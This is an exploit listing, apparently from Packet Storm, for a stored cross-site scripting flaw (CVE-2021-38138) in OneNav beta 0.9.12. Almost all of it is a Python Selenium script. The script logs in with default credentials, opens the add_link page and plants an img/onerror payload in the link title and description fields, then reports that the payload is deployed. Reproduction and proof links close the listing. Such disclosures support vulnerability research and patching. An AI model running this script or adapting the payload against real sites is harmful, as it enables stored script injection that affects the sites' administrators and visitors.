Lucene search

K
packetstormNu11secur1tyPACKETSTORM:163753
HistoryAug 07, 2021 - 12:00 a.m.

OneNav Beta 0.9.12 Cross Site Scripting

2021-08-0700:00:00
nu11secur1ty
packetstormsecurity.com
194
`# Exploit Title: XSS-Stored - Brutal PWNED on OneNav beta 0.9.12 add_link feature  
# Author: nu11secur1ty  
# Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r  
# Date: 08.06.2021  
# Vendor: https://www.xiaoz.me/  
# Link: https://github.com/helloxz/onenav/releases/tag/0.9.12  
# CVE: CVE-2021-38138  
  
[+] Exploit Source:  
  
#!/usr/bin/python3  
# Author: @nu11secur1ty  
# Debug and Developement: nu11secur1ty & g3ck0dr1v3r  
# CVE-2021-38138  
  
from selenium import webdriver  
import time  
  
  
#enter the link to the website you want to automate login.  
website_link="http://192.168.1.120/index.php?c=login"  
  
#enter your login username  
username="xiaoz"  
  
#enter your login password  
password="xiaoz.me"  
  
#enter the element for username input field  
element_for_username="user"  
#enter the element for password input field  
element_for_password="password"  
#enter the element for submit button  
element_for_submit="layui-btn"  
  
browser = webdriver.Chrome()  
browser.get((website_link))  
  
try:  
username_element = browser.find_element_by_name(element_for_username)  
username_element.send_keys(username)  
password_element = browser.find_element_by_name(element_for_password)  
password_element.send_keys(password)  
signInButton = browser.find_element_by_class_name(element_for_submit)  
signInButton.click()  
  
# Exploit PWNED HTTP Traffic is not filtered. It was a lot of fun :D  
time.sleep(3)  
browser.get(("http://192.168.1.120/index.php?c=admin&page=add_link"))  
time.sleep(3)  
browser.execute_script("document.querySelector('[name=\"url\"]').value = '  
http://192.168.1.120/index.php?c=admin&page=add_link'")  
time.sleep(3)  
browser.execute_script("document.querySelector('[name=\"title\"]').value =  
'</span><img src=  
https://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif  
<a href=http://example.com/> onerror=alert(1) /><span>'")  
  
#button1  
browser.execute_script("document.querySelector('[class=\"layui-edge\"]').click()")  
time.sleep(1)  
  
# button2 using $ because querySelector cannot parse dd selector  
browser.execute_script("$('dd[lay-value=19]').click()")  
  
time.sleep(1)  
browser.execute_script("document.querySelector('[name=\"description\"]').value  
= '</span><img src=  
https://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif  
<a href=http://example.com/> onerror=alert(1) /><span>'")  
  
#submit button3  
browser.execute_script("document.querySelector('[class=\"layui-btn\"]').click()")  
time.sleep(1)  
browser.maximize_window()  
browser.get(("http://192.168.1.120/index.php?c=admin&page=link_list"))  
  
print("payload is deployed...\n")  
  
except Exception:  
#### This exception occurs if the element are not found in the webpage.  
print("Some error occured :(")  
  
  
----------------------------------------------------------------------------------------  
  
# Reproduce:  
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38138  
# Proof: https://streamable.com/ubtzio  
`
Related for PACKETSTORM:163753